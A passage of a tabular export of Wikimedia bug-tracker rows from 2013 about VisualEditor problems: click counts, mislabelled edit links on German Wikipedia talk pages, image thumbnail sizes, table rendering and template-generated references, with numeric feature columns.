so, please do not play the ""a good thing but not the right place"" card. which then ends up nowhere. you can close the ticket if you either create this guideline, or successfully have a (public verifyable) decision in whatever place you consider right for a decision like this.",,,1376539525,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,False,,,6,,1.0,0.3333333333333333,0.0,0.3333333333333333,1.0,6.333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,7.0,11.0,1.3333333333333333,2.3333333333333335,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,4.0,1.6666666666666667,0.6666666666666666,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,12.0,1.3333333333333333,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,5.666666666666667,2.6666666666666665,0.3333333333333333,1.0,4.0,9.0,0.0,0.0,0.0,0.0,6.0,0.6666666666666666,0.6666666666666666,0.0,4.0,11.0,0.6666666666666666,0.0,2.0,0.0,4.0,0.0,1.0,3.6666666666666665,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.0,0.0,3.966666666666667,0.7541666666666668,"james, let me reopen this one please. there is a big difference between ""it is our intention"" (whoever ""our"" is) and a crystal clear guideline having as primary target:
* minimize clicks and key presses
* response time <3 sec
this would make it so much easier for new developers as well. and so much easier for testers to point out that something is against the goal. 

as i tried to point out above with examples, people were and still are allowed to increase key presses and mouse-clicks considerable compared to the existing solution. i tried to look for design documents or mail references on some tech list to find a justification for this, but could not find one. 

you as a software developer surely know that nothing is more expensive than fixing a design bug. and nothing is more expensive than finding a bug late. just to take an arbitrary url to support this: URL 

so, please do not play the ""a good thing but not the right place"" card. which then ends up nowhere. you can close the ticket if you either create this guideline, or successfully have a (public verifyable) decision in whatever place you consider right for a decision like this."
238909,VisualEditor: Create a design guideline to minimize clicks and key presses,"Of course, this is already our intention. There is nothing to ""create"".

Bugzilla is not really the right place to suggest user experience improvements like this - though walk-through data like you've given is hugely valuable, and if you have more I would love for you to share it.",,,1376521216,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,10.0,17.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,2.0,2.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,7.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,17.0,2.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.9,0.7666666666666667,"Of course, this is already our intention. There is nothing to ""create"".

Bugzilla is not really the right place to suggest user experience improvements like this - though walk-through data like you've given is hugely valuable, and if you have more I would love for you to share it."
238903,VisualEditor: Create a design guideline to minimize clicks and key presses,"for bug48429, section editing, i tried VE at https://en.wikipedia.org/wiki/Jos%C3%A9_Mourinho. to repeat the clicks and key presses here:
* 1 click and 15 secs to edit
* 1 click to make go a away a note (see attachment)
* 1 click to edit summary
* 1 click and 20 secs to review changes
* 1 click to return to save form
* 1 click and 40 secs to save
* 5* pg down to go to the section just edited

while text editor sections can be edited with:
* 1 click and 2 secs to open
* 1 click and 2 secs to preview
* 1 pg-down to find the save button (could be avoided by re-placing the button)
* 1 click and 10 secs to save

old is ideally 3 clicks, new is 6 clicks + 5 key presses.

but, there are other cases as well. to add a category with hotcat is one click and a key press to confirm. It auto-corrects even the spelling to upper case. VE takes 8 clicks, a refresh, and scrolling down, if i counted correctly.",,,1375774987,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.6666666666666666,0.0,3.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,3.3333333333333335,10.0,0.0,5.333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,2.3333333333333335,1.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,15.666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,2.3333333333333335,1.6666666666666667,0.6666666666666666,3.6666666666666665,3.6666666666666665,0.0,0.0,0.0,0.0,8.0,0.0,11.333333333333334,0.0,1.3333333333333333,10.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.1278538812785386,0.6113785017894607,"for bug48429, section editing, i tried VE at URL to repeat the clicks and key presses here:
* 1 click and 15 secs to edit
* 1 click to make go a away a note (see attachment)
* 1 click to edit summary
* 1 click and 20 secs to review changes
* 1 click to return to save form
* 1 click and 40 secs to save
* 5* pg down to go to the section just edited

while text editor sections can be edited with:
* 1 click and 2 secs to open
* 1 click and 2 secs to preview
* 1 pg-down to find the save button (could be avoided by re-placing the button)
* 1 click and 10 secs to save

old is ideally 3 clicks, new is 6 clicks + 5 key presses.

but, there are other cases as well. to add a category with hotcat is one click and a key press to confirm. It auto-corrects even the spelling to upper case. VE takes 8 clicks, a refresh, and scrolling down, if i counted correctly."
238896,VisualEditor: Create a design guideline to minimize clicks and key presses,"Which exact problem do you see with the current situation, that made you file this bug report?",,,1375620096,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.105263157894737,0.9473684210526315,"Which exact problem do you see with the current situation, that made you file this bug report?"
54491,De.WP experiences wired edit labels on conversation pages,"Currently, De.WP talk, user talk, Wikipedia, Wikipedia talk..pages show for the last section not [Edit source] as En/Es/xy.WP do but [Add section / Edit source code / Add section] (Abschnitt hinzufügen Quelltext bearbeiten Abschnitt hinzfügen). It neither breaks anything technically as far as I can tell right now nor does it mix in VE interface but, where ever it might come from, it should be fixed asap

http://de.wikipedia.org/w/index.php?title=Diskussion:Immanuel_Kant&oldid=120880638

http://de.wikipedia.org/w/index.php?title=Benutzer_Diskussion:JEissfeldt_(WMF)&oldid=120853192#VisualEditor_.2A_Projektseiten

--------------------------
**Version**: unspecified
**Severity**: critical",Needs Triage,90.0,1375491060,1375492148.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-33n5y7ewqlbefwxwacox,task_description,invalid,True,c1,3,False,False,True,4,,0.0,1.0,0.0,1.0,0.5,2.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.5,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,2.0,0.0,0.0,2.5,0.5,3.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,13.5,1.0,2.5,1.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.5,3.5,8.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.7857142857142856,0.6785714285714286,"Currently, De.WP talk, user talk, Wikipedia, Wikipedia talk..pages show for the last section not [Edit source] as En/Es/xy.WP do but [Add section / Edit source code / Add section] (Abschnitt hinzufügen Quelltext bearbeiten Abschnitt hinzfügen). It neither breaks anything technically as far as I can tell right now nor does it mix in VE interface but, where ever it might come from, it should be fixed asap

URL

URL

--------------------------
**Version**: unspecified
**Severity**: critical"
237034,De.WP experiences wired edit labels on conversation pages,"This is an issue with a script at [[de:MediaWiki:Common.js]].

In the section ""erzeuge einen ""Neuen Abschnitt""-Link an der letzten Überschrift"", replace ""$( 'span.mw-editsection:last a' )"" with ""$( 'span.mw-editsection:last a:last' )"". That should be enough to fix it.",,,1375492148,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-33n5y7ewqlbefwxwacox,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,7.0,5.0,0.0,15.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,4.0,3.191780821917808,0.6027397260273972,"This is an issue with a script at [[de:MediaWiki:Common.js]].

In the section ""erzeuge einen ""Neuen Abschnitt""-Link an der letzten Überschrift"", replace ""$( 'span.mw-editsection:last a' )"" with ""$( 'span.mw-editsection:last a:last' )"". That should be enough to fix it."
54489,Blacklist category for excluding pages from VisualEditor,"It would be helpful to be able to selectively disable VisualEditor (we should to indicate to a user who'd otherwise see VisualEditor that it is disabled, to reduce confusion). This would enable users to shield pages where VisualEditor/Parsoid cause roundtrip issues.

A hidden blacklist category could be included in a page or template to achieve the desired effect, and could be used by developers to prioritize roundtripping issues.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375487760,1375488138.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-qpvwyqg5nibzkozzdov5,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,3.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,1.0,3.0,11.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,4.0,5.0,9.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,11.0,4.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,4.536082474226804,0.7010309278350515,"It would be helpful to be able to selectively disable VisualEditor (we should to indicate to a user who'd otherwise see VisualEditor that it is disabled, to reduce confusion). This would enable users to shield pages where VisualEditor/Parsoid cause roundtrip issues.

A hidden blacklist category could be included in a page or template to achieve the desired effect, and could be used by developers to prioritize roundtripping issues.

--------------------------
**Version**: unspecified
**Severity**: normal"
236937,Blacklist category for excluding pages from VisualEditor,"

*** This bug has been marked as a duplicate of bug 52141 ***",,,1375488138,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-qpvwyqg5nibzkozzdov5,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 52141 ***"
54487,VisualEditor: Image thumbnails that don't specify size should render at the wiki-default size,"If one opens the VE editing interface, the user experience in relation to image formats varies significantly. The report: 

http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121153156#Bilder_werden_im_VE_kleiner_angezeigt

has several examples with different browsers like 

FF 22 / Win 7: edgewise images smaller; rest bigger.
Chrome 28 / Win 7: all significantly smaller.

See also screenshots in perma link.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375487460,1380666480.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-7bui5nacoyzpq7m5e4vx,task_description,resolved,True,c1,3,False,False,False,4,,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,7.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.108433734939759,0.6746987951807228,"If one opens the VE editing interface, the user experience in relation to image formats varies significantly. The report: 

URL

has several examples with different browsers like 

FF 22 / Win 7: edgewise images smaller; rest bigger.
Chrome 28 / Win 7: all significantly smaller.

See also screenshots in perma link.

--------------------------
**Version**: unspecified
**Severity**: normal"
236825,VisualEditor: Image thumbnails that don't specify size should render at the wiki-default size,"Merging with bug 47804.

*** This bug has been marked as a duplicate of bug 47804 ***",,,1380666480,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7bui5nacoyzpq7m5e4vx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.0434782608695654,0.6521739130434783,"Merging with bug 47804.

*** This bug has been marked as a duplicate of bug 47804 ***"
236818,VisualEditor: Image thumbnails that don't specify size should render at the wiki-default size,"When viewing a page, images that are specified as [[File:Foo.jpg|thumb|Caption]] render as 220px wide (en.wp)/180px wide (de.wp), regardless of dimensions or aspect ratio.

In visual editor, images specified the same way render so as not to exceed 190px wide by 212px high. 

This means that images can appear at very different sizes in the VE editing surface to how they appear on the rendered page. This is especially true for very tall images.

Example to better illustrate this, compare the two views of this page
View mode: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575350620 
VE edit mode: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575350620&veaction=edit",,,1380666087,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-7bui5nacoyzpq7m5e4vx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,1.5,0.5,0.5,5.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,3.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,15.5,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,3.5,1.5,9.0,2.5,0.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.0,11.0,5.0,0.0,0.0,0.0,1.0,0.0,2.0,0.5,0.0,1.5,1.0,0.0,1.0,3.9913793103448274,0.75,"When viewing a page, images that are specified as [[File:Foo.jpg|thumb|Caption]] render as 220px wide (en.wp)/180px wide (de.wp), regardless of dimensions or aspect ratio.

In visual editor, images specified the same way render so as not to exceed 190px wide by 212px high. 

This means that images can appear at very different sizes in the VE editing surface to how they appear on the rendered page. This is especially true for very tall images.

Example to better illustrate this, compare the two views of this page
View mode: URL 
VE edit mode: URL"
54485,VisualEditor: uneditable table lines displayed wrong,"The displayed table (Firefox 22/Ubuntu)

See [[fr:Special:redirect/revision/95505705#Pr.C3.A9sidents_de_l.27universit.C3.A9]]

The lines of the table using {{ligne grise}} are uneditable because of {{ligne grise}} (which just adds bgcolor=""#F2F2F2""…). But they are displayed wrong (see attachment) because the <tr> is wrapped in a <span>. Not really WYSIWYG…

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11257}",Needs Triage,90.0,1375486440,1385374740.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-ocna2wajo3o5voxuppid,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,2.0,1.0,3.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.0,1.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,10.0,1.5,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.0,3.5,5.5,0.0,0.5,0.0,2.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,3.5,3.6875,0.6696428571428572,"The displayed table (Firefox 22/Ubuntu)

See [[fr:Special:redirect/revision/95505705#Pr.C3.A9sidents_de_l.27universit.C3.A9]]

The lines of the table using {{ligne grise}} are uneditable because of {{ligne grise}} (which just adds bgcolor=""#F2F2F2""…). But they are displayed wrong (see attachment) because the <tr> is wrapped in a <span>. Not really WYSIWYG…

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11257}"
236722,VisualEditor: uneditable table lines displayed wrong,"Yes, merging with bug 50607.

*** This bug has been marked as a duplicate of bug 50607 ***",,,1385374740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ocna2wajo3o5voxuppid,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.96,0.68,"Yes, merging with bug 50607.

*** This bug has been marked as a duplicate of bug 50607 ***"
236716,VisualEditor: uneditable table lines displayed wrong,I think this might be a duplicate of bug 50607,,,1378374678,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ocna2wajo3o5voxuppid,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,I think this might be a duplicate of bug 50607
54478,References created by Singlechart cannot be accessed properly,"**Author:** `kwwilliams`

**Description:**
http://en.wikipedia.org/wiki/User:Kww/singlechartreftest is a simple test case for accessing references created by the singlechart template.

Singlechart directly creates references when called, using #ref (it cannot use <ref></ref> tags because of issues involving the parsing sequence of templates and references). It will either create them with a default name that it generates algorithmically, or it will use the value of the ""refname"" parameter.

When editing http://en.wikipedia.org/wiki/User:Kww/singlechartreftest, if the editor attempts to insert reference and chooses the option to ""use an existing reference"", three of the existing named references (sc_BillboardHot100_The Hollies, sc_Norwegian_The Hollies, and sc_Dutch100_The Hollies) aren't displayed at all. These are references that are available for the editor to use, but have not been currently reused in the article text. An examination of http://parsoid.wmflabs.org/en/User:Kww/singlechartreftest shows that Parsoid did pick up these names so VE should be able to display them.

sc_UK_Hollies is displayed, but no text is associated with it. Similarly with germancharts. Attempting to include these references works. Both of these references should have the full reference text displayed, although the editor should not be permitted to alter it.

{{Certification Table Entry}} and {{albumchart}} should have identical problems.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375473900,1377819444.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tvsxq36upc6ipnvhxpyk,task_description,resolved,True,c1,3,False,False,True,4,,0.3333333333333333,0.0,0.0,1.6666666666666667,1.3333333333333333,2.6666666666666665,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,9.0,0.0,2.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,4.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,14.666666666666666,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,5.0,3.0,8.333333333333334,2.3333333333333335,2.3333333333333335,7.333333333333333,0.0,0.0,0.0,0.3333333333333333,5.0,0.0,0.3333333333333333,0.0,2.6666666666666665,9.0,5.333333333333333,0.0,1.3333333333333333,0.0,2.6666666666666665,0.0,1.3333333333333333,1.3333333333333333,0.6666666666666666,2.6666666666666665,0.0,0.0,0.3333333333333333,4.435867293625914,0.6829937304075235,"**Author:** CODE

**Description:**
URL is a simple test case for accessing references created by the singlechart template.

Singlechart directly creates references when called, using #ref (it cannot use <ref></ref> tags because of issues involving the parsing sequence of templates and references). It will either create them with a default name that it generates algorithmically, or it will use the value of the ""refname"" parameter.

When editing URL if the editor attempts to insert reference and chooses the option to ""use an existing reference"", three of the existing named references (sc_BillboardHot100_The Hollies, sc_Norwegian_The Hollies, and sc_Dutch100_The Hollies) aren't displayed at all. These are references that are available for the editor to use, but have not been currently reused in the article text. An examination of URL shows that Parsoid did pick up these names so VE should be able to display them.

sc_UK_Hollies is displayed, but no text is associated with it. Similarly with germancharts. Attempting to include these references works. Both of these references should have the full reference text displayed, although the editor should not be permitted to alter it.

{{Certification Table Entry}} and {{albumchart}} should have identical problems.

--------------------------
**Version**: unspecified
**Severity**: normal"
236424,References created by Singlechart cannot be accessed properly,"Is {{#tag:ref}} something that is part of MediaWiki or something user-generated? If it's part of MediaWiki, presumably its creation and deployment is an indication that it's meant to work.",,,1377862353,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-tvsxq36upc6ipnvhxpyk,task_subcomment,,True,c1,3,False,,,8,,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,9.0,5.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,12.0,5.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7209302325581395,0.7674418604651163,"Is {{#tag:ref}} something that is part of MediaWiki or something user-generated? If it's part of MediaWiki, presumably its creation and deployment is an indication that it's meant to work."
236417,References created by Singlechart cannot be accessed properly,"**kwwilliams** wrote:

That response is beyond the pale. Please retract it, and concentrate on building an editor that functions within the environment that exists, not the environment that you wish existed.",,,1377820107,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tvsxq36upc6ipnvhxpyk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,2.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,10.0,2.0,5.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,4.341463414634147,0.7560975609756098,"**kwwilliams** wrote:

That response is beyond the pale. Please retract it, and concentrate on building an editor that functions within the environment that exists, not the environment that you wish existed."
236409,References created by Singlechart cannot be accessed properly,"This is a duplicate of bug 50474 - in general, any reference created by a template shouldn't work, deliberately. Hacks using {{#tag:ref}} which was never meant to work are a nightmare for users and VisualEditor alike.

